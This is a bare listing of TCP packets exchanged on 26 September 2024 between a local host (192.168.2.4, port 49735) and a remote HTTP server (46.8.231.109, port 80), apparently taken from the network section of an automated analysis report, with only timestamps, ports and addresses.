Sep 26, 2024 19:05:18.930326939 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.930337906 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.930356026 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.930361032 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.930367947 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.930373907 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.930464983 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.930464983 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.931766987 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.931832075 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.931844950 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.931874037 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.931874037 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.931920052 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.931931973 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.931952953 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.931965113 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.931965113 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.931969881 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.931983948 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.931996107 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.931996107 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.932105064 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.932116985 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.932137012 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.932148933 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.932149887 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.932149887 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.932199001 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.932199001 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.932255030 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.932266951 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.932288885 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.932297945 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.932312965 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.932317972 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.932317972 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.932436943 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.932446957 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.932459116 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.932478905 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.932490110 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.932512045 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.932518959 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.932518959 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.932656050 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.932693005 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.932704926 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.932729006 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.932742119 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.932763100 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.932763100 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.932763100 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.932774067 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.932790995 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.932811022 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.932815075 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.932815075 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.932821035 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.932837009 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.932852983 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.932856083 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.932879925 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.932879925 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.933170080 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.933182955 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.933218002 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.933218002 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.933301926 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.933312893 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.933320999 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.933331966 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.933342934 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.933362007 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.933362007 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.933362961 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.933376074 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.933394909 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.933413982 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.933414936 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.933414936 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.933425903 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.933442116 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.933464050 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.933464050 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.933506012 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.933630943 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.933644056 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.933662891 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.933672905 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.933687925 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.933687925 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.933693886 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.933705091 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.933722019 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.933763027 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.933763027 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.075764894 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.075809002 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.075819969 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.075840950 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.075858116 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.075877905 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.075890064 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.075947046 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.075954914 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.075967073 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.076000929 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.076000929 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.076025009 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.076036930 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.076055050 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.076069117 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.076069117 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.076107979 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.076152086 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.076164961 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.076184988 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.076200008 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.076227903 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.076227903 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.076257944 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.076281071 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.076291084 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.076292992 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.076293945 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.076335907 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.076335907 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.076426983 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.076440096 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.076458931 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.076478958 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.076493025 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.076503992 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.076503992 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.076562881 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.076658010 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.076669931 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.076690912 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.076703072 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.076723099 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.076731920 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.076731920 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.076734066 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.076755047 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.076803923 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.076803923 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.076942921 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.076955080 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.076976061 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.076987028 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.076997995 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.077007055 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.077018976 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.077033997 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.077037096 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.077059984 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.077086926 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.077086926 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.077142954 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.077306986 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.077320099 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.077341080 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.077352047 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.077373028 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.077394962 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.077394962 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.077425957 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.077469110 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.077469110 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.077533960 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.077545881 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.077564955 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.077579021 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.077593088 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.077604055 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.077613115 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.077625036 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.077625036 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.077641964 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.077661991 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.077673912 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.077673912 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.077677011 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.077724934 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.077724934 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.077851057 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.077903032 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.077967882 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.077984095 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.078001976 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.078013897 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.078028917 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.078028917 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.078032017 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.078052044 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.078063011 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.078064919 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.078083992 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.078094959 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.078107119 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.078107119 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.078114986 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.078125954 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.078176022 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.078176022 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.240709066 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.245543957 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.418597937 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.418629885 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.418643951 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.418663979 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.418677092 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.418694019 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.418705940 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.418863058 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.418863058 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.418870926 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.418883085 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.418903112 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.418914080 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.418932915 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.418941975 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.418951035 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.418951035 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.418963909 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.419002056 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.419002056 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.419167995 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.419178963 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.419198990 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.419209003 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.419214964 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.419229984 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.419239998 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.419256926 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.419256926 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.419260025 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.419275045 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.419337034 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.419408083 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.419457912 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.419485092 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.419519901 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.419533014 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.419534922 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.419574976 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.419574976 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.419616938 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.419629097 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.419648886 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.419660091 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.419676065 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.419676065 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.419713974 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.419939041 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.420006990 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.420017958 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.420047045 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.420047045 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.420084000 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.420094013 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.420114040 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.420156002 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.420156002 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.501280069 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.501305103 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.501313925 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.501339912 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.501343966 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.501351118 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.501378059 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.501378059 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.501389027 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.501415968 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.501415968 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.501507998 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.501538992 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.501602888 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.501607895 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.501620054 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.501667976 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.501667976 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.501744032 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.501754999 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.501774073 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.501797915 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.501797915 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.501892090 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.501948118 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.501959085 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.501976967 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.501986980 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.502002954 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.502002954 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.502043009 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.502053976 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.502083063 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.502083063 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.502110004 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.502120018 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.502130032 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.502141953 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.502175093 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.502346992 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.502391100 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.502402067 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.502428055 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.502428055 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.502446890 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.502485037 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.502497911 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.502516985 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.502526999 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.502533913 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.502587080 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.502703905 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.502715111 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.502734900 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.502751112 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.502768993 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.502777100 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.502815962 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.502830029 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.502855062 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.502855062 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.502892017 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.502899885 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.502906084 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.502948046 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.502948046 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.502995968 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.503007889 CEST	80	49735	46.8.231.109	192.168.2.4
